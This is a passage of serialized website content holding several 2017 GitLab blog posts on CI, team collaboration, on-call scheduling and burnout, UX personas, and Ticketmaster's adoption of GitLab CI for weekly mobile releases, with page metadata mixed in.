weekly releases. As more and more companies look to embrace CI as part of their development methodology, having CI fully integrated into their overall SDLC solution will ensure these companies are able to realize the full potential of CI. You can read more about the benefits of integrated CI in our white paper, [Scaling Continuous Integration](http://get.gitlab.com/scaled-ci-cd/).\n\nIn his post on [building Heroku CI](https://blog.heroku.com/building-tools-for-developers-heroku-ci), Heroku’s Ike DeLorenzo noted that GitLab CI is “clearly the biggest mover in activity on Stack Overflow,” with more popularity than both Travis CI and CircleCI:\n\n![Image via Heroku blog](https://about.gitlab.com/images/blogimages/heroku-questions-chart.png){: .shadow}\u003Cbr>\n\nWhile the use of Jenkins for CI is still higher than any other solution, we see more and more organizations moving from Jenkins, because upgrading their Jenkins server is a brittle process. The last two big things that GitLab CI lacked were scheduled builds (contributed to [GitLab 9.2](/releases/2017/05/22/gitlab-9-2-released/)) and cross-project builds (released in [GitLab 9.3 on June 22](/releases/2017/06/22/gitlab-9-3-released/)).\n\n## Auto DevOps is next\n\nWe want to [deliver more of idea to production](https://gitlab.com/gitlab-org/gitlab-ce/issues/32639) and continue to make the flow even better. [Our direction](/direction/#ci--cd) is to fully automate DevOps with the concept of [Auto DevOps](https://gitlab.com/gitlab-org/gitlab-ee/issues/2517). In a cloud-native world, developers have many projects, and it doesn't make sense to have to set up their tools for every one of them. With help from the wider community we'll ensure that everything works out of the box, from code quality metrics to Review Apps, and from metrics to autoscaling.\n\nWatch our Head of Product Mark Pundsack demonstrate our Auto DevOps vision, including Auto Create, Auto Build, Auto CI, Auto Deploy, Auto Code Quality, and Auto Review Apps:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/KGrJguM361c?rel=0\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\nWe couldn't have built GitLab into the tool and company it is today without the contributions of the wider community, and the feedback from our customers. We're excited to see what you build with GitLab.\n\nHave thoughts about Auto DevOps? Comment on this blog post or on [the issue for Auto DevOps](https://gitlab.com/gitlab-org/gitlab-ee/issues/2517). Interested in what your team can do with GitLab Enterprise Edition? [Sign up for a free trial](/free-trial/) and let us know what you think.\n",[1067,4103,736,110],{"slug":35549,"featured":6,"template":678},"whats-next-for-gitlab-ci","content:en-us:blog:whats-next-for-gitlab-ci.yml","Whats Next For Gitlab Ci","en-us/blog/whats-next-for-gitlab-ci.yml","en-us/blog/whats-next-for-gitlab-ci",{"_path":35555,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35556,"content":35562,"config":35567,"_id":35569,"_type":16,"title":35570,"_source":17,"_file":35571,"_stem":35572,"_extension":20},"/en-us/blog/biggest-obstacles-to-getting-work-done",{"title":35557,"description":35558,"ogTitle":35557,"ogDescription":35558,"noIndex":6,"ogImage":35559,"ogUrl":35560,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35560,"schema":35561},"Why deadlines get missed (and how to fix it)","These are the biggest obstacles preventing developers from getting work done – and how to tackle them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671344/Blog/Hero%20Images/obstacles-to-getting-work-done.jpg","https://about.gitlab.com/blog/biggest-obstacles-to-getting-work-done","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why deadlines get missed (and how to fix it)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-06-27\",\n      }",{"title":35557,"description":35558,"authors":35563,"heroImage":35559,"date":35564,"body":35565,"category":8943,"tags":35566},[19026],"2017-06-27","\nIt's not just unnecessary meetings or outdated tools – developers are more concerned with communication and culture issues preventing them from getting work over the finish line in time. So how do you combat this problem?\n\n\u003C!-- more -->\n\nIn the past, the software development process has followed a linear path, with teams doing their work and then handing off responsibility for a project to whoever takes on the next stage, giving little (if any!) thought to how others will manage when their turn comes. This creates a disconnect between the team making the decisions and the team executing them, which can lead to mismanaged expectations and delayed releases.\n\n## What are the biggest obstacles to getting work done?\n\nIn our [Global Developer Survey](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html), we asked developers what prevents them from meeting deadlines, and the responses were a combination of the obvious: unnecessary meetings (16.25 percent) and being forced to use inappropriate or outdated tools (6.16 percent); as well as more concerning, systemic issues, which point toward the breakdown in communication between developers and product owners.\n\nUnclear direction came in tops with over 47 percent and unrealistic deadlines followed with 21.29 percent. These issues also manifest in [code getting released too early](/blog/why-code-is-released-too-early/). So how do you combat this?\n\n##  Introduce DevOps practices\n\n Adopting elements of the DevOps approach instead, and taking a more collaborative attitude towards setting deadlines and deciding on what will go into the next release means that all participants and stakeholders can weigh in on the decision and flag potential problems or delays.\n\n### Work on smaller releases\n\nWorking more [iteratively](https://handbook.gitlab.com/handbook/values/#iteration) helps to prevent bottlenecks as you approach a deadline, as you're trying to fit less into each release. Stripping a new feature or package down to its smallest components (the Minimum Viable Changes) helps to clarify what exactly you're working on and what the expectations are, so the way forward is clearer to everyone involved.\n\nTo find out more about iteration and Minimum Viable Changes, check out [How to Shorten the Conversation Cycle](/blog/how-to-shorten-conversation-cycle/).\n\n### Create cross-functional teams\n\nWhen teams interact throughout the development process, instead of just handing off to each other, you create a culture in which everyone feels responsible for the final outcome rather than just their portion of a project. From the early planning phases, through development, testing and review, involving the right stakeholders and experts at the right times results in better mutual understanding of different teams' unique motivations and pressures. This helps everyone to take these factors into account when deciding on deadlines or what to include in a release, so the direction is clear and the timeline realistic.\n\n### Encourage collaboration\n\nFor those cross-functional teams to be effective, collaboration is critical. If you've been working in siloed teams without much interaction, this can be a challenge to implement. But making everyone feel comfortable to share their ideas and contribute means you get more diverse perspectives on what you're working on and ensures that you take advantage of every team's expertise and factor in any limitations too. [Here are three ways we try to foster collaboration at GitLab](/blog/ways-to-encourage-collaboration/).\n\nDownload our [Global Developer Report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to learn more about what developers want and need to do their jobs more efficiently.\n{: .alert .alert-gitlab-orange}\n\nCover image: “[Brickwall](https://unsplash.com/collections/834185/obstacles?photo=9OEE8Ktcaac)” by [Namrod Gorguis](https://unsplash.com/@namroud)\n{: .note}\n",[3554,1444,2368],{"slug":35568,"featured":6,"template":678},"biggest-obstacles-to-getting-work-done","content:en-us:blog:biggest-obstacles-to-getting-work-done.yml","Biggest Obstacles To Getting Work Done","en-us/blog/biggest-obstacles-to-getting-work-done.yml","en-us/blog/biggest-obstacles-to-getting-work-done",{"_path":35574,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35575,"content":35581,"config":35586,"_id":35588,"_type":16,"title":35589,"_source":17,"_file":35590,"_stem":35591,"_extension":20},"/en-us/blog/how-to-shorten-conversation-cycle",{"title":35576,"description":35577,"ogTitle":35576,"ogDescription":35577,"noIndex":6,"ogImage":35578,"ogUrl":35579,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35579,"schema":35580},"How to shorten the conversation cycle","Four simple steps to move faster from idea to production.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671350/Blog/Hero%20Images/shorten-conversation-cycle.jpg","https://about.gitlab.com/blog/how-to-shorten-conversation-cycle","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to shorten the conversation cycle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-06-19\",\n      }",{"title":35576,"description":35577,"authors":35582,"heroImage":35578,"date":35583,"body":35584,"category":6634,"tags":35585},[19026],"2017-06-19","\n\nIf your new features often get stalled in the initial discussion phase, read our four tips for shortening the conversation cycle and shipping faster.\n\n\u003C!-- more -->\n\n## 1. Measure your cycle time\n\nThe first step towards making a change is having the numbers to motivate it. If you measure the duration of time from the moment an idea is first discussed in chat, all the way through to its release in production, you can make a good case for changing your approach if others can see that something is causing delays. Try a feature like [cycle analytics](/solutions/value-stream-management/) to monitor each stage in your workflow.\n\n## 2. Start with minimum viable changes\n\nYou've identified the problem, now how do you fix it? Where ideas for new features and improvements often get stuck is on how to implement them. The idea may be too ambitious or too time consuming to ship easily, so it gets pushed back in favor of more manageable changes. Try breaking up new products or features into smaller pieces of functionality. [Iteration is one of our company values](https://handbook.gitlab.com/handbook/values/) and while it's often one of the more uncomfortable ones, it is effective. Do the smallest thing possible and release it quickly – you can keep iterating from there.\n\n## 3. Include gatekeepers early on\n\nWho needs to approve something before you ship? Don't leave them out until the last minute. Including stakeholders, security experts, product managers and UX team members in the conversation in the early phases prevents bottlenecks ahead of release, and ensures that most errors have been caught and addressed before you move into production. Read more about [shipping faster without sacrificing security or quality](/blog/speed-security-quality-with-hackerone/).\n\n## 4. Get everyone on board\n\nAcknowledging that a feature or product is not polished and needs more work, yet releasing it anyway, feels unnatural to most of us, so you may meet some resistance to the idea. Working in this way does offer benefits to both business owners and developers, which you can communicate to help persuade hesitant team members.\n\nFor example, you can respond more quickly to market needs and user feedback by shipping minimum viable changes often, which is good news for your business. For developers, it's easier to troubleshoot a small release and having faster, more frequent feedback on work gives more of a sense of progress and boosts motivation.\n\nMoving towards smaller releases to shorten the time between idea and production may feel strange at first, but you'll start seeing results quickly.\nShortening the conversation cycle is just one principle of Conversational Development. Visit [conversationaldevelopment.com](http://conversationaldevelopment.com/) to learn more.\n{: .alert .alert-gitlab-orange}\n\n[Cover image](https://unsplash.com/@djmalecki?photo=fw7lR3ibfpU) by [Dawid Malecki](https://unsplash.com/@djmalecki) is licensed under [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/)\n{: .note}\n",[2368,1444],{"slug":35587,"featured":6,"template":678},"how-to-shorten-conversation-cycle","content:en-us:blog:how-to-shorten-conversation-cycle.yml","How To Shorten Conversation Cycle","en-us/blog/how-to-shorten-conversation-cycle.yml","en-us/blog/how-to-shorten-conversation-cycle",{"_path":35593,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35594,"content":35600,"config":35606,"_id":35608,"_type":16,"title":35609,"_source":17,"_file":35610,"_stem":35611,"_extension":20},"/en-us/blog/on-calliday-unsucking-your-on-call-experience",{"title":35595,"description":35596,"ogTitle":35595,"ogDescription":35596,"noIndex":6,"ogImage":35597,"ogUrl":35598,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35598,"schema":35599},"On-Calliday: A guide to unsucking your on-call experience","Being on-call can be rough because you're likely losing sleep, which can impact your personal and professional life. Here are some tips on how to make on-call shifts less painful for your team and company.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680447/Blog/Hero%20Images/on-calliday.jpg","https://about.gitlab.com/blog/on-calliday-unsucking-your-on-call-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"On-Calliday: A guide to unsucking your on-call experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Folson\"}],\n        \"datePublished\": \"2017-06-14\",\n      }",{"title":35595,"description":35596,"authors":35601,"heroImage":35597,"date":35603,"body":35604,"category":6634,"tags":35605},[35602],"Amanda Folson","2017-06-14","\nIn spirit of the rapidly approaching summer-vacation season, here are some tips on how to prevent burnout when scheduling on-call rotations. Although I'm currently a developer advocate, I've been a career developer and worked in DevOps roles, and I'm no stranger to the on-call life.  Here I'll discuss burnout, the pros and cons of different shift lengths, and how to make on-call rotations a little less painful.\n\n\u003C!-- more -->\n\n## Four phases of burnout\n\nFirst, let's talk about burnout, because this is what we’re trying to prevent.\nEspecially in tech, people may respond to the demands of their job by staying late to get stuff done, or forgoing vacation days because even the prospect of catching up upon return is daunting. It's worth remembering that work can actually kill you, and there's a lot of stigma around this kind of stress, so it's important to talk about.\n\nThese four stages are for employees and employers alike to keep tabs on yourself and your team.\n\n### Caution\nYou feel like you’re not providing value so you try to prove yourself by working more. You might feel down on yourself.\n\n### Warning\nYou start to ignore your own needs in favor of working. Sleep, family, and hobbies become secondary priorities to you. You might panic. You work all the time and sleep like crap.\n\n### Danger\nThis is the point where you need to REALLY start seeking help. Your behavior starts to change at this stage. You might become aggressive or withdraw from serious commitments and social functions, or start engaging in risky behavior. You might be so anxious about all of the work you have to do that you end up not doing anything at all.\n\n### Emergency  \nIf you’re in this zone you need to seek help immediately. In this stage you might feel empty and engage in even riskier behaviors. Many people are depressed at this stage, and it’s not uncommon for people to have suicidal thoughts.\n\n## How can we make on-call shifts better?\n\nTeam members can protect themselves from burnout by making sure everything is in order before their shift. For example, make sure to pay important bills, run errands you’ve been putting off, and do anything else you can to simplify your work week. In terms of making your team work better as a whole, here are some additional best practices you can consider enforcing:\n\n### Don't make the pain in vain\nA chance of being woken up in the middle of the night is never going to be amazing. You can do a lot to decrease the likelihood of it. If you have to be woken up, make it worth the pain and make the time count.\n\n### Make the data count\nMany companies rely on their on-call employees being woken up, and the buck stops there. They have basic monitoring set up but don’t do anything with the data. You should be auditing the information collected during on-call shifts: do root cause analyses, talk about issues, and look for patterns. If you notice that something happens at 2am every few days, you can dig in and fix that.\n\n### Find the best tool for the job\nMany tools exist to help you manage complex scheduling and data aggregation. There are plenty of alternatives, so definitely find one that works for you. Every single one of them is designed to tell you when people are getting woken up and what’s waking them up.\n\n### Keep your staff sharp\nRun drills where you knock things over in a controlled environment and practice putting out those fires.\n\n### Learn how to do incident response\nYou can learn a lot from actual firefighters. I learned a lot from 3 guys at Blackrock, who were actual firefighters turned ops guys who go around teaching ops orgs how to handle incidents better. When there’s a fire, there’s an incident commander, who is in charge of directing everyone else. Rank isn't important here; this person does not have to be manager, they should just be responsible for checking in on everyone for status updates. This person also assigns a scribe to take notes if necessary, although it's better to record calls if you can for better learnings later.\n\n### Implement \"you write it, you wear it\"\nIf you do nothing else in this list, do this. The people who are writing the code, deploying the infrastructure, or touching the guts should be involved in the on-call rotation somehow. These are the best people to fix issues - they’re the ones that know it inside and out. If you don’t have these people on-call, I’m going to boldly say you’re doing it wrong.\n\n### Set better schedules\nTry to start and end your on-call rotations in the middle of the day to give staff an opportunity to go over any problems or questions they experienced on shift. Starting and ending your shifts mid-week is also ideal, since it avoids many bank holidays. Try never to start or end a shift on a holiday, and if you have to have someone on-call on a holiday, it's important to share the load across the team if you can so that one person isn’t on-call the whole day.\n\n### Make people take vacation (!!!)\nOn a related note, employers should keep track of how many people are taking vacation and when. Force people to actually take vacation if you need to - this will make the team as a whole healthier and better when on their shift.\n\n## Which shift length is right?\n\nThere’s no one-size-fits-all solution to scheduling, but I typically tell people to not do weekly rotations unless they have mature monitoring in place. It’s better to proactively monitor and adjust schedules as needed. Think of schedules as a living calendar that’s flexible and open to improvement, rather than using the “set it and forget it” approach. People are dynamic and their needs change, so your schedule should reflect that. Here are a few examples of common shift length:\n\n### 8 hours\nThis is great for people who are covering a business day. The shift might start when someone comes in and end when they leave - or up to 3 hours after leaving - before another team takes over. Extend by 3 hours after they leave so that work they did during the day has time to settle. This length is useful for people who are doing deploys during the day as they’re around to fix issues that arise without anyone else getting paged for it.\n\n### 12 hours\nThis shift length is ideal for people who are covering an overnight. Try \"follow-the-sun\" rotations, which means exactly what you'd expect: Everyone is on-call during their local business hours. Someone starts at 9am, someone starts at 9pm - this still allows for a hand-off and isn’t in the middle of the night.\n\n### 24 hours\nA 24-hour shift is really common and relatively low stress if you have several people on a team. This prevents anyone from having a “rough week” - there's equal opportunity for everyone to have a rough night. The shift is over before you know it.\n\n### 1 week\nThis is typical for small and large teams, and is great if you want to have longer periods of rest between shifts. If you have 4 people, this schedule means each team member is \"off-call\" for 3 weeks at a time. However, having a week long shift feels really long, particularly if stuff is on fire multiple nights. This is the schedule most likely to lead to burnout.\n\nAs you look at your team's summer schedule, I hope this guide helps ameliorate any dread you have about being on-call. Have any questions I didn't address here? Comment here or tweet me [@AmbassadorAwsum](https://twitter.com/ambassadorawsum).\n",[1444,3798,7715],{"slug":35607,"featured":6,"template":678},"on-calliday-unsucking-your-on-call-experience","content:en-us:blog:on-calliday-unsucking-your-on-call-experience.yml","On Calliday Unsucking Your On Call Experience","en-us/blog/on-calliday-unsucking-your-on-call-experience.yml","en-us/blog/on-calliday-unsucking-your-on-call-experience",{"_path":35613,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35614,"content":35619,"config":35624,"_id":35626,"_type":16,"title":35627,"_source":17,"_file":35628,"_stem":35629,"_extension":20},"/en-us/blog/ways-to-encourage-collaboration",{"title":35615,"description":35616,"ogTitle":35615,"ogDescription":35616,"noIndex":6,"ogImage":16646,"ogUrl":35617,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35617,"schema":35618},"3 Ways to foster collaboration","Want to know how we encourage everyone to contribute?","https://about.gitlab.com/blog/ways-to-encourage-collaboration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Ways to foster collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-06-12\",\n      }",{"title":35615,"description":35616,"authors":35620,"heroImage":16646,"date":35621,"body":35622,"category":6634,"tags":35623},[19026],"2017-06-12","\n\nWe know that [collaboration is critical](/blog/why-collaboration-tools-matter/) for organizations moving towards a DevOps culture. Here's how we encourage collaboration in our workflow at GitLab.\n\n\u003C!-- more -->\n\n## 1. We make suggesting changes less scary\n\nUsing version control for more than just your source code means that everyone feels free to contribute to documentation, configurations, tests and whatever else you're working on. With the benefit of [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), it's possible to suggest a change or an improvement, or even just query something that isn't entirely clear or could be described better, without just going ahead and making the change immediately. This invites discussion and prevents less experienced team members from feeling nervous to voice their opinions.\n\n>\"It really makes the documentation, similar to the source code, an open source and living document that everyone can contribute to.\" – GitLab Platform Backend Lead, [Douwe Maan](/company/team/#DouweM)\n\n## 2. We open our development platform\n\nBy giving everyone in your organization access to view what other teams are working on, you allow everyone to discover and contribute beyond their own projects. This [inner sourcing](https://en.wikipedia.org/wiki/Inner_source) approach makes it more likely that team members can learn from others or offer suggestions from their own experience that could be applied to a different project, avoiding duplication of work. Douwe explains: \"It's working together to make all of our code better, because if we use a shared library – even if it’s just an internal one – if one person improves it or fixes a bug or increases the functionality of that application, that’s work by one person that will immediately affect all the different teams.\"\n\n## 3. We make code review impersonal\n\nEveryone is encouraged to [review each other's code](https://www.youtube.com/watch?v=XluG9mAQdSo&feature=youtu.be) or ask for input, and the focus of that review is firmly on improving the code. The approach is not to say, \"This is wrong, change it to this,\" which can be really demotivating. We use language like, \"Have you considered this?\" or \"What do you think about this?\"\n\nThis not only makes code review less scary for the person whose merge request is being reviewed, it also makes it less intimidating for other team members to weigh in on more senior team members' work.\n\n>\"Review is really something we all do together. Even the most junior person or just someone who doesn’t really know this part of the application yet, if they see something that doesn’t quite look right to them or something they might have a question about, it’s really useful if you make them feel free to comment on that.\" - Douwe\n\nBy removing the barriers to contribution and making it easy and encouraged to offer input, even where team members have less experience, we've built a culture around collaboration and learning from others' expertise. Fostering collaboration across different teams and functions is just one element of a DevOps culture – to learn more, watch our webcast, \"[Managing the DevOps Culture Shift](https://www.youtube.com/watch?v=py8c6-3zyKM&feature=youtu.be)\" on demand now.\n\n*How does your team encourage everyone to contribute? Tell us in the comments!*\n\n\u003C!-- cover image: https://unsplash.com/search/street-art?photo=PVw_vtpCGaM-->\n",[3554,2368,1444,4103],{"slug":35625,"featured":6,"template":678},"ways-to-encourage-collaboration","content:en-us:blog:ways-to-encourage-collaboration.yml","Ways To Encourage Collaboration","en-us/blog/ways-to-encourage-collaboration.yml","en-us/blog/ways-to-encourage-collaboration",{"_path":35631,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35632,"content":35637,"config":35642,"_id":35644,"_type":16,"title":35645,"_source":17,"_file":35646,"_stem":35647,"_extension":20},"/en-us/blog/discovering-gitlabs-personas",{"title":35633,"description":35634,"ogTitle":35633,"ogDescription":35634,"noIndex":6,"ogImage":32471,"ogUrl":35635,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35635,"schema":35636},"Discovering GitLab’s personas","Our User Experience (UX) Researcher updates us on the progress of GitLab’s personas","https://about.gitlab.com/blog/discovering-gitlabs-personas","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Discovering GitLab’s personas\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah O’Donnell\"}],\n        \"datePublished\": \"2017-06-08\",\n      }",{"title":35633,"description":35634,"authors":35638,"heroImage":32471,"date":35639,"body":35640,"category":734,"tags":35641},[28658],"2017-06-08","\n\nBack in January, I explained [why GitLab uses personas in product development](/blog/the-importance-of-ux-personas/). At the time, we were still in the process of discovering who GitLab’s personas were. To make sure that the needs and expectations of our users were met, we asked them to complete a survey to share their views with us. Since then, the results have been analyzed resulting in the first iteration of our personas. In this post, I’d like to share more about the survey which contributed to GitLab’s personas.\n\n## Survey design\n\nThe survey contained a mixture of open-ended and closed-ended questions.\n\nWe chose to use open-ended questions as this was the first survey we had produced which aimed to explore users’ motivations and experiences of using GitLab. We wanted to give participants the freedom to answer questions in their own words and avoid leading them towards answers that they wouldn’t have necessarily selected with close-ended questions.\n\nStudies have shown that people tend to focus more on earlier (primacy effect) or later (recency effect) options, with less time spent evaluating middle options. This suggests  the order in which we present questions to our users may affect the way they respond to them. For example, for the question of ‘Why do you contribute to open source tools?’, there were 10 possible answers users could select from, ranging from ‘To give back to the community’ to ‘To resolve issues I experience with the tool’. To ensure each answer received an equal opportunity to be selected, the ordering of the answers was shuffled between each user. This way, no option remained in the middle of the list and the risk of an option being overlooked due to its position was reduced. Where possible, other closed-ended questions received the same treatment, reducing bias and ensuring a fair distribution of responses.\n\nIn terms of choosing what questions to ask, we asked multiple people working in different teams across GitLab, how they would describe GitLab users. We wanted to be able to test their assumptions, along with our own. Using these assumptions, we formed research questions. Research questions are the goals and objectives of your study, rather than the questions which appear in your survey. They help you to clearly define what it is you want to find out from your survey before you even begin writing it. Once we had our research questions, we wrote the survey to directly address them.\n\nTo ensure that we could extract the information we required from the survey questions, we wanted to make sure that every respondent would interpret the questions the way we had intended. We asked colleagues to complete the survey to see if their answers differed from the true intent of the questions. Any ambiguous wording was amended. The survey was then incrementally shared externally with users. This allowed us to further monitor answers, while also checking the survey for bugs (For example, are users able to submit their answers?).\n\n## Responses\n\nWe were interested in primarily hearing from engaged GitLab users, so the survey was advertised on GitLab’s blog, social media accounts and via the UX webcast. The survey received just over 500 responses over a 50 day period.\n\n## Analysis\n\nSurveys are by no means perfect, they only capture the views of people who feel comfortable sharing information in this way. In brief, the users who chose to respond to the survey could be very different from those who chose not to respond, thus creating selection bias.\n\nMore than 100,000 organizations and millions of users are using GitLab, therefore a sample size of just over 500 people may seem relatively small. In order to identify users who could be underrepresented, it was important to explore who the respondents of the survey were. By comparing the differences between respondents versus nonrespondents, it was easy to identify where the weaknesses were in the data collected and to determine what needed further research. Equally so, it also highlighted the strengths of the data and what could be reported on with near certainty.\n\nSome of the attributes we compared between respondents and nonrespondents included:\n\n - Length of time using GitLab\n - GitLab edition (Community vs Enterprise)\n - Size of organization (for users who used GitLab at work)\n - Job role\n\n We also examined demographic and background information, such as age, location, and programming experience/qualifications.\n\n\n## Results\n\nWe added the newly-formed personas to GitLab's [handbook](/handbook/product/personas/#user-personas).\n\nDon’t feel you’re accurately represented? Don’t worry! The personas are very much a work in progress and we will continue to add to them based on further insights revealed from user interviews, usability testing and future surveys.\n\nWant to share your experiences of GitLab with me? Join [GitLab First Look](/community/gitlab-first-look/) and help us build an even better picture of who GitLab’s users really are!\n{: .alert .alert-gitlab-orange}\n",[2249],{"slug":35643,"featured":6,"template":678},"discovering-gitlabs-personas","content:en-us:blog:discovering-gitlabs-personas.yml","Discovering Gitlabs Personas","en-us/blog/discovering-gitlabs-personas.yml","en-us/blog/discovering-gitlabs-personas",{"_path":35649,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35650,"content":35656,"config":35662,"_id":35664,"_type":16,"title":35665,"_source":17,"_file":35666,"_stem":35667,"_extension":20},"/en-us/blog/continuous-integration-ticketmaster",{"title":35651,"description":35652,"ogTitle":35651,"ogDescription":35652,"noIndex":6,"ogImage":35653,"ogUrl":35654,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35654,"schema":35655},"How GitLab CI supported Ticketmaster's ramp up to weekly mobile releases","Ticketmaster Android developer Jeff Kelsey shares why GitLab CI was a game changer for his team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682946/Blog/Hero%20Images/tm-cover-image-small.jpg","https://about.gitlab.com/blog/continuous-integration-ticketmaster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab CI supported Ticketmaster's ramp up to weekly mobile releases\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Kelsey\"}],\n        \"datePublished\": \"2017-06-07\",\n      }",{"title":35651,"description":35652,"authors":35657,"heroImage":35653,"date":35659,"body":35660,"category":734,"tags":35661},[35658],"Jeff Kelsey","2017-06-07","\nIt's always been a goal for the Ticketmaster mobile team to get to weekly releases. In the first half of this year we were able to accomplish it, delivering new versions\nof both the Android and iOS app on a weekly basis since February. We've seen the positive impact on our fans, and it was even easier than we thought –\nmaking our entire application development process that much better.\n\nBut it didn't start out this way...\n\n\u003C!-- more -->\n\n![review-2](https://about.gitlab.com/images/blogimages/ticketmaster-assets/Review2.png \"Most user-friendly ticketing app\")*\u003Csmall>A faster, more consistent release cycle leads to a better fan experience for users of the Ticketmaster Apps.\u003C/small>\n\nThere comes a time in every engineer’s career when a part of your tech stack no longer passes the “smell test.\" Usually, there is some sort of dramatic event where something that was generally accepted as “isn’t the best, but it works” changes to “this is now a problem.” For me and the Ticketmaster mobile team, this event happened with our Jenkins-based CI pipeline in February.\n\nWe were about to release the newest version of our Android app, but there was a mistake in the build. We had forgotten to increment the Android versionCode, meaning we would need to update and create a new binary file to upload to the store. It was the end of the day, a sunny afternoon quickly fading to darkness in Hollywood. By now it was 6pm PST, and everyone was eager to leave.\n\n\"No problem,\" I thought. I can build the release locally in under three minutes, provide the file to the QA team, and we can all get on our way.\n\n“Won’t help us,” responded my high-standard and exceptional QA team.\n\n“All releases need to come from CI for consistency.” They were right. Local builds would not be safe for production. What if something about my machine’s configuration introduced an issue?\n\n“Ok, so how long does it take for the release build to get created through our Jenkins CI pipeline?” I asked, figuring the time couldn’t be worse than 30 minutes.\n\n“It takes two hours,” came the response. Sigh… Going to be a late night.\n\n![sysiphus](https://about.gitlab.com/images/blogimages/ticketmaster-assets/sysiphus.gif \"Sysiphus\")\n\n*\u003Csmall>Our old CI pipeline\u003C/small>*\n\n## GitLab CI to save the day (in a day!)\n\nTwo… hours…  For a minor change. Now I can’t lay all the blame on Jenkins. Some of this may have been our own fault, generating too many build flavors, forcing clean rebuilds in between steps and running extra tests for deprecated features. But, it was clear we needed to change and get better at CI. Jenkins was always a bit clunky for the last few years. Weighed down by plugins and years of legacy development, it was also difficult for us to update the Jenkins machines with new SDKs, and we had to rely on other teams to assist us. We clearly needed a fresh start.\n\nWe had been using GitLab at Ticketmaster for several years for code review and visually browsing our git history, so it made sense that trying to utilize [GitLab’s new CI tools](/solutions/continuous-integration/) would be worth a shot. I started with a helpful Android [blog post for setting up GitLab CI from Greyson Parrelli](http://www.greysonparrelli.com/post/setting-up-android-builds-in-gitlab-ci-using-shared-runners/).\n\nBut I soon ran into a problem. At Ticketmaster we use Amazon ECR for our [Docker](https://aws.amazon.com/docker/) container registry rather than GitLab repos, like in the tutorial. With the help of Kraig Amador, Tim Nichols, and others at Ticketmaster, I learned how to push my Docker container image to Amazon ECR and pull it down for each Android build in GitLab CI. The final results were a marked improvement:\n\n![gitlab-ci](https://about.gitlab.com/images/blogimages/ticketmaster-assets/Gitlab8min.png 'GitLab CI in 8 minutes')*\u003Csmall>Our GitLab CI build and test takes under 8 minutes to build, test, and publish artifacts.\u003C/small>*\n\nLess than eight minutes total from commit to build, test and generate artifacts. We can use Gradle and the SonarQube plugin to help us calculate code quality with every commit to our codebase, giving us more valuable information in addition to passing failing tests to evaluate all of our merge requests. This gives our team numbers to measure and make goals against.\n\nAnd we could see everything in one place, in GitLab. The iOS team had a more complicated pipeline, but they quickly followed with their own, running their tests on local runners. Since February we have had weekly releases of our mobile apps, and GitLab CI has been a huge part of our success over the past few releases.\n\n## From GitLab artifact to weekly releases\n\n![weekly-release](https://about.gitlab.com/images/blogimages/ticketmaster-assets/WeeklyReleases.png \"Weekly Releases\")*\u003Csmall>GitLab CI has helped us get to weekly releases with more consistent adoption of new releases.\u003C/small>*\n\nWith the benefit of faster cycle time, and faster releases, we have seen other benefits. Since each release has a smaller change set, our crash-free rates and store ratings have improved. We have less time waiting for build and spend more time improving the quality of our products. Our fans are getting features into their hands more quickly and benefit from a higher-quality and a consistently improving product. The CI analytics available on GitLab are an additional scoreboard for our team to optimize and improve into the future.\n\nNow, whenever we integrate new SDKs into our mobile apps, we are helping other teams get their SDK’s set up in GitLab CI to push integrated builds to our suite of integration and functional tests as a part of our process. We are [getting to innovation faster](https://tech.ticketmaster.com/2016/11/08/getting-to-innovation-faster/).\n\nThings were looking pretty scrappy for our CI pipeline only a few months ago. Now it is a whole different ballgame. If your team is looking for a way to breathe fresh life into a legacy CI pipeline, I suggest taking a look at GitLab CI. It has been a real game changer for our mobile team at Ticketmaster.\n\n![review-1](https://about.gitlab.com/images/blogimages/ticketmaster-assets/Review1.png \"Ticketmaster Mobile Review 1\")\n![review-3](https://about.gitlab.com/images/blogimages/ticketmaster-assets/Review3.png \"Ticketmaster Mobile Review 2\")\n\n### About the Author\n\nJeff Kelsey is the Lead Engineer for Ticketmaster's Android development team. Find him on twitter 